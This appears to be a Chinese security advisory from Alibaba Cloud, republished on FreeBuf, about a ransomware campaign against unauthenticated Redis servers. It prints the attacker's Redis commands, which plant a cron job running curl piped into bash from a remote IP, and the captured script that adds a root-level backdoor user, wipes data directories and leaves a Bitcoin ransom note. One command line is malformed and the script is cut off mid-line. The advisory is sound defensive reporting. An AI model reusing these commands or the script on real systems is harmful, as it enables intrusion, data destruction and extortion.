*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
安全事件
9月10日下午15:06开始,阿里云官方首次发现一起规模化利用Redis 未授权访问漏洞进行加密货币勒索的事件,阿里云上防御系统在攻击开始的10s内就已开启全网拦截。
与以往的只是通过算力窃取进行挖矿的攻击事件不同,此次攻击者在攻击之初就是以勒索钱财作为第一目的的,攻击者无惧暴露,非常猖狂。直接删除数据、加密数据也意味着攻击者与防御者之间已经没有缓冲地带,基本的攻防对抗将是赤裸裸的一场刺刀战。
该高危漏洞早在半年前阿里云就发布过预警,但是还是有不少用户并未进行修改加以重视。阿里云安全专家提醒用户参考文末方法,尽快完成漏洞修复或部署防御,一旦被攻击成功,整个服务器的程序和数据都将会被删除!且很难恢复。
Redis应用简介
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。
Redis漏洞原理
作为一个内存数据库,redis 可通过周期性配置或者手动执行save命令,将缓存中的值写入到磁盘文件中。如果redis进程权限足够,攻击者就可以利用它的未授权漏洞来写入计划任务、ssh登录密钥、webshell 等等,以达到执行任意指令的目的。
自2017年12月以来,由于该漏洞已经被大规模利用,如DDG等多个僵尸网络都以该漏洞为目标进行迅速的繁殖和占领算力,并且各大僵尸网络间都会互相删除彼此来保证自己对机器算力的掌握。
攻击过程说明
- 首先攻击者通过事先的扫描踩点,发现了这些公网可访问并且未设置密码的机器
- 攻击者尝试连接这些机器,并且运行如下代码:
config set dir /var/spool/cron/
config set dbfilename root
config 1 */10 * * * * curl -s http://103.224.80.52/butterfly.sh | bash
save
通过上述指令,将下载脚本:http://103.224.80.52/butterfly.sh 并将该脚本写入到计划任务中,由计划任务启动执行。
由于在分析时,攻击者感知到我们的反向探查,已经将该脚本下线。但我们的蜜罐成功抓取到了该脚本如下:
#!/bin/bash
#*butterfly*
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin
userdel -r redis
useradd -o -u 0 -g 0 redis &>/dev/null
echo "abcd-1234-!" |passwd --stdin redis &>/dev/null
rm -rf /root/*
rm -rf /home/*
rm -rf /opt/*
rm -rf /data/*
rm -rf /data*
mkdir -p /data
echo -e "\nWarning! \nYour File and DataBase is downloaded and backed up on our secured servers. To recover your lost data : Send 0.6 BTC to our BitCoin Address and Contact us by eMail with your server IP Address and a Proof of Payment. Any eMail without your server IP Address and a Proof of Payment together will be ignored. We will drop the backup after 24 hours. You are welcome! \nMail:dbsecuritys@protonmail.com \nBitCoin:3JPaDCoRnQatEEDoY59KtgF38GZiL5Kiny\n" > /root/Warning.txt
chmod +x /root/Warning.txt
cp /root/Warning.txt /Warning.txt
cp /root/Warning.txt /data/Warning.txt
echo -e "\nWarning! \nYour File and DataBase is downloaded and backed up on our secured servers. To recover your lost data : Send 0.6 BTC to our BitCoin Address and Contact us by eMail with your server IP Address and a Proof of Payment. Any eMail without your server IP Address and a Proof of Payment together will be ignored. We will drop the backup after 24 hours. You are
- 攻击者要求给地址: 3JPaDCoRnQatEEDoY59KtgF38GZiL5Kiny 发送0.6个比特币,否则将在24小时之内删除数据备份
- 但是从这个脚本中可以明显看出,攻击者根本没有进行备份,即使被攻击者给了钱,也是要不回数据的。
截止到9月10日晚8点为止,该地址共收到了0.6个比特币的转账,并且都是在今日进行发送的,已经有受害者开始转账了。
安全建议
- 通过安全组限制对公网对Redis等服务的访问
- 通过修改redis.conf配置文件,增加密码认证,并隐藏重要命令
- 以低权限运行redis服务等
*本文作者:阿里云安全,转载请注明来自FreeBuf.COM